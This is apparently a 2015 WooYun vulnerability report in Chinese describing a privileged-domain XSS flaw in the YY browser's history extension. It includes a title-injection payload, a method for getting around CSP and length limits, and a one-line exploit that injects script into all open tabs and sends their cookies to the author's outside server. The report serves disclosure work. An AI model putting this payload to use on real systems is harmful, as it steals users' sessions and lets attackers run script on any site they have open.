漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0106727
漏洞标题:YY浏览器设计缺陷导致可在任意域构造xss漏洞2
相关厂商:广州多玩
漏洞作者: 梧桐雨
提交时间:2015-04-09 00:36
修复时间:2015-07-13 00:39
公开时间:2015-07-13 00:39
漏洞类型:设计错误/逻辑缺陷
危害等级:高
自评Rank:15
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-04-09: 细节已通知厂商并且等待厂商处理中
2015-04-14: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-06-08: 细节向核心白帽子及相关领域专家公开
2015-06-18: 细节向普通白帽子公开
2015-06-28: 细节向实习白帽子公开
2015-07-13: 细节向公众公开
简要描述:
特权域下的xss,比较容易触发。
详细说明:
在 http://wooyun.org/bugs/wooyun-2010-0101477 案例里头,你们的插件第一次出现了问题,但是今天更新了新版本,里头有一个浏览历史,又出现了跨站。具体问题如下:
访问我已经构造好的土豆网:www.tudou.com/programs/view/wmQHmEEyM4E/
将其title修改为:
<script>alert(location.href)</script>
当我们打开扩展的时候,他就会自动帮我们读取我们浏览的历史记录:
一个特权域的xss就产生了。
但是这里利用会有2个问题。
问题1,测试的时候发现不允许<script src>引入外部脚本,也不允许<img src onerror>的形式引入,因为chrome设置的csp策略导致的。
问题2,土豆,优酷的视频title只允许60个左右的字符。
但是是否没有办法呢?其实是可以通过一定方式去bypass的。
我们可以构造好一个网页,让用户同时打开5个页面,让其触发,打开5个我们事先构造好的土豆网的title。一共就是300+的字符,已经足够满足我这里给出的exp了:http://wooyun.org/bugs/wooyun-2010-0101477
因为土豆审核时间的关系,我这里没有通过5个视频,那我就以上面的视频为例,第一次访问是<script>alert(location.href)</script>第二次访问是<script>alert(document.domain)</script>,而且是同一个地址,但是这里已经成功写入2次进历史记录,足以说明我上面的方法是可以成功的。
具体看图:
漏洞证明:
构造下面html,
其中Array()中的5个地址自己替换,分批次写入
chrome.tabs.getAllInWindow(null,function(){for(var i=0;i<=arguments[0].length-1;i++){console.log(arguments[0][i].id);chrome.tabs.executeScript(arguments[0][i].id,{"code":"new Image().src='http://wutongyu.info/yyexp.php?cookie='+document.cookie"},function(){console.log(res)});}})
即可完成窃取打开所有窗口的cookie。当然不仅仅是窃取cookie,还可以往任意页面注入js代码。这个案例比1危害要更大。不需要点击,直接就可以触发了。
修复方案:
过滤扩展中用户可以控制的数据。
版权声明:转载请注明来源 梧桐雨@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2015-07-13 00:39
厂商回复:
漏洞Rank:12 (WooYun评价)
最新状态:
暂无